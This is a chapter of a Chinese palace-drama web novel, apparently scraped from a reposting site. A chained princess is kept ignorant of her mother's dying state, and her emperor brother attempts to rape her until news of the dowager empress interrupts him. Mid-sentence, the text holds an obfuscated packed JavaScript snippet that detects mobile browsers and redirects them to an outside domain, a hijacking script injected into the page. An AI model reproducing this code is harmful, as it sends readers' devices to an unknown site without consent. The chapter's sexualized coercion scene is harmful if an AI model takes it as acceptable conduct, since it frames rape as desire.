彼时青萍霁蓝一路无话，满是凝重地回来，一眼发现窝在架子底下的薛柔，霍然吓得魂飞魄散，飞身去扶，边察言观色、小心翼翼道：“公主，您怎么搞成这个样子，得多疼啊……” 齐心合力安置了薛柔，青萍默默退出去打热水，等会伺候她细细梳洗一番。 一个公主，蓬头垢面的势必落人耻笑。 左右一阵御膳房传午膳来，霁蓝便拿钥匙，提前打开锁头，叫薛柔好生缓一缓，谁知锁链脱落的一刹那，胳膊乍被她扼住，手力奇大，属霁蓝能忍的一个人，也疼得皱起眉头，嘴里嘶嘶吸气。 “是不是，是不是出事了？”薛柔神智有些混乱，讲话断断续续、颠颠倒倒的，“是谁？你告诉我，薛怀义又对谁下毒手了？” 并非她疑神疑鬼，这次，的确有变故，兼而棘手—— 刚刚慈宁宫报出信儿，太后这几日咳嗽不止，吃药也不见效，越到深夜，咳得越猛，昨晚三更天，突然呕起一口血，皇帝闻讯，立下令太医院上下医治，点灯忙活了一夜，太医院束手无策，直言太后已病入膏肓，恐怕没几日活头了。 皇帝震怒，转头贬了半个太医院的官员，连吴中亦被扣上无能废物的帽子，倒没贬谪，现场挨了一记窝心脚，一则身负重伤，二则那时无数双眼睛瞧着，一张老脸算是丢完了。 皇帝严令所有人闭紧嘴巴，特别不得对薛柔透露，一经发现，无论他家世身份如何，一律杖毙。 谁都惜命，霁蓝亦不例外，面对薛柔的凄厉逼问，心坚似铁，始终保持口风严谨的做派，半个相关的字都不曾说漏，只翻来覆去地说：“您多虑了，宫里一切都好。” 薛柔不信，等青萍端水进来又是一顿威逼，最终仍然一无所获。 心里砰砰直跳，脑袋里也一跳一跳的，惴惴不安到了顶点，她一手打翻水盆，滚烫的水，溅在她的脚背上，热辣辣的，但她置之不理，声称要见薛怀义，纵被给予搪塞也不放弃，一遍遍重复：“我要见他，现在，马上，没得商量。” 若不应她，她便不吃不喝，甚至打碎茶杯以碎片抵项，以死相逼，没辙，青萍急匆匆去请人。 与此同时，泉城城楼。 崔介负手伫立，远眺连绵群山，山峦处北，北边是京城的方向。 昨夜敌军偷袭，薛通等人一早手握情报，纷纷衔枚埋伏，恰将敌军先锋悉数活捉，没费一兵一卒，一雪上月交战败北之耻，士气大受鼓舞，眼下士兵们正磨刀霍霍，准备反将一军，夜袭敌城。 连夜审完俘虏，大有所获，薛通振奋难耐，打听到崔介高立城楼，于是寻觅而来，欲与他详细计议一番。 薛通登楼，同崔介并肩站立：“招了，全招了！别透风了，快快随我回城，何大人等候多时了。” 崔介没急着动身，定定望了半晌北面的崇山峻岭，才支应薛通，随其下了城楼。 夺妻之仇，不共戴天，他的妻，他定讨还！ 48. 掠夺 深夜，万籁俱寂，薛柔等来了薛怀义。 他穿一身黑，头发高高束在发冠下，面无表情，似聚着阴气，令人望而生寒。 薛怀义没下令，下人们不敢妄自揭开镣铐，薛柔便曳着铁链，向他姗姗走去：“你是不是背着我做了什么见不得光的事情。” 他说：“妹妹动脑子想一想，你有无质问朕的资格。” 太后不久于世，他不爽，因为薛柔心心念念太后，为了太后，她甘愿委身于他，但，一旦太后断了气，吊着她的念想没了，她还会任他摆布吗？ 他了解他，比她自己都了解她，失去了太后这个人质，她再也不会听他的了。 坚固厚重的链子蹭上他的衣袖，薛柔两首抓住他的手腕，眼带无助：“你说实话，是母后，还是九哥哥，还是……他？” 他，崔介，她至今无法释然的心上人。 “他？”尽管她将“他”放在一句话最末尾，薛怀义依旧逮到了，他反扣住她的手腕，“说清楚，他是谁。” 有多久未提起他的名字了呢，她记不清了，连同他的身形样貌也生疏起来。 难以置信，她当初心悦他到满心满眼全是他的地步，哪怕如今，一别两宽，她都忍不住担心他的处境，明明，她已经自身难保了啊。 “你先回答我，你是不是对他们下手了。” 薛柔在刻意掩藏那段感情那个人，在回避过去那个众星捧月的自己。 偏偏，一个“他”，触痛了薛怀义深藏的那份嫉妒心，她的情动不属于他，他始终无法释怀。 点燃他的火线，永远在她手里攥着。 暗暗地，他咬紧后槽牙：“告诉朕，他，是谁。” 薛柔也是个犟的，他越逼迫，她越嘴硬，红着眼说：“你是不是动他们了？是，还是不是？” 她总能轻而易举拨动他的心弦，仿佛他的喜怒哀乐天然为她而生。 薛怀义厌恶这种身心不由己的体验，但坏就坏在，他割舍不掉她。 “谁给你的脸，一次次挑战朕的底线？”薛怀义拧住她的胳膊，拖拽至床前，“想知道那些杂碎如何？好啊，拿出你的诚意来，有得必有失，亘古不变的真理，你说呢？” 薛柔哭了，一颗颗晶莹的泪珠自睫毛间滚落：“我们是兄妹啊，所以皇兄，你当真要对你的妹妹行禽兽之举吗？” 身体里淌着一样的血的两个人，怎么可以做夫妻才能做的事，她死都不能接受。 薛怀义像个冷血动物，笑出声来：“别花言巧语了，你几时承认过薛怀义这个兄长？” “我不承认，你不也以我兄长的身份活了十多年吗？”薛柔发誓，现在是她过往人生中最坦诚且理智的时候，没有之一，“你我冠着同样的姓氏，喊一样的人父皇母后，不是兄妹，是什么。” 她怕了，怕到了骨子里，她可以死，但绝容忍不得和薛怀义有突破兄妹的关系。 如果，她能早些年认可彼此是兄妹的话，也许不会走到今日剑拔弩张的地步。 可惜了，没有如果。 “真心认错的话，不妨自己乖乖地躺下去，待会少哭两声，叫得入耳些，朕或许——” “啪！” 空气凝固了。 手腕上的重量拽着薛柔荡下胳膊。 手腕发酸，手心发热，可见适才她扇他的那下何其用力。 “士可杀，不可辱，你不如给我个痛快！” 薛怀义拿手点点嘴角，指尖带血，胸中霎时有什么炸开了。 他扯着那锁链，将薛柔扯倒在榻，随后欺上她身，眼冒火星：“士可杀不可辱，你是什么——婊子，毒妇，为何辱不得！” 骂完，压下一张脸、两片唇，世界由之变暗，暗中是一方压倒性的侵占。 津液与血气交融，泛滥着古怪的味道。 “你姓你的薛，从来和朕不相干。”上衣撕裂并飞落的一瞬，耳畔萦绕着喑哑的声音。 腰上猝不及防一紧，薛柔恍然，使昏花的眼睛迅速恢复清明，却见直立床沿，擒着她的腰，往外拖了好远。 “抬腿。” 又是这个声音。 眼睛清晰起来，脑袋还昏昏然，薛柔一时没动作。薛怀义没耐心，亲自动手掰开她紧紧并拢的双膝。 “今晚过了，你就是皇后，大邺朝的皇后。” 王崔两家倒台后，薛怀义快刀斩乱麻，软硬兼施安排好其余几个世家，耗时不过几月，放眼朝野，无一人有成为绊脚石的资格，故此，他趁热打铁，着人拟好为自己正名的圣旨，不日将恢复岑姓，彻底使江山易主。 那贯耳魔音，薛柔无力深思，她需要赶快阻止他的不轨之举，恐吓也好，哀求也罢，总之，不能再继续下去了！ “你敢碰我，我就咬舌自尽！” 他轻蔑一笑，俯身堵住她的唇，从根源上断绝了她自尽的念头。 恐吓不成，她舍弃自尊，低低呜咽起来：“不要，不要，求你……” “崔介能给你的快意，朕可以加倍给你。”凄楚的抽泣意外成为助兴的工具，薛怀义伸手替自己宽衣解带，“所以，听话些，痛了主动说，朕可以照顾你的感受。” 心底的那头困兽终究挣脱牢笼，拦不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799988|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “陛下……陛下！” 将将冲破隔阂之际，外边又是拍门又是高呼，显而易见地急切。 好端端的兴头，就这么被打断，薛怀义舌顶腮帮子，不打算理会，反把薛柔的腿抬得更高，直接勾在自己腰上。 “陛下，太后她……陛下，您快去瞧瞧吧！” 冯秀在外头心急如焚，眼泪都下来了。 薛柔听见了太后二字，乍然警觉，瘫软的身躯有了主心骨，铆足劲儿挣扎，一面哭喊：“我母后怎么了！” 啧，没兴趣了。 薛怀义撂开她，穿好衣裳，衣冠楚楚地准备走，薛柔心系太后，顾不上衣不蔽体的处境，扯住他的袖子不放，声泪俱下：“你去哪，我也去！你不带我，我就死给你看！” 回顾被揉皱的一片衣角，以及那副可怜的容颜，薛怀义默了许久，久到冯秀又开始敲门念叨。 “求你，带我一起……” 以命相逼不起作用，薛柔便果决地放下身段，凄婉哀求。 他褪下外衫，扔给她，神色莫测：“……自己穿上。” 子夜，慈宁宫。 窄窄的一方榻前，跪了一圈人，有太医，有宫女，个个垂头噤声，空气里弥漫着死气。 皇帝还没来，过会来了，他们这群人恐怕凶多吉少，是以他们怕。 这也是人之常情，天底下，有几个人不怕死的呢。 “母后……母后！” 焦急的呐喊由远及近，旋即一个人影抢入门，直扑倒在太后病榻跟前，是薛柔到了。 薛怀义不远不近地随后，一地的人紧忙把脖子压得更低，不敢出声，都不敢充当出头鸟。 “滚出去。” 满屋子的脑袋、手脚，喘出来的气也杂，视觉嗅觉全不好受，挑剔如薛怀义，片刻将就不得。 众人如临大赦，纷纷压抑劫后余生的狂喜，蹑手蹑脚地退出去，倒不敢就此散了，挨在一块侯立廊下。 薛柔拿起母后只剩骨头架子的手，搁在脸颊，好凉，跟那日灌进嘴巴的湖水似的。 她止不住啜泣：“母后，你醒醒，你醒醒，不要睡了，不要丢下我不管，我害怕……” 很长一段时间，屋子里只有她一人的哀求，好生寂静，毛骨悚然的寂静。 “……啊……”其实，太后全听见了，她迫不及待想要回应，可眼皮子厚厚地沉沉地盖住了眼睛，她睁不开眼——挣扎，竭力挣扎，终于，窥见一丝光亮，小小的一点光下，缀着一个瘦小的人，那是她的女儿，哭得好可怜，一如十七年前呱呱坠地时，“小，十……”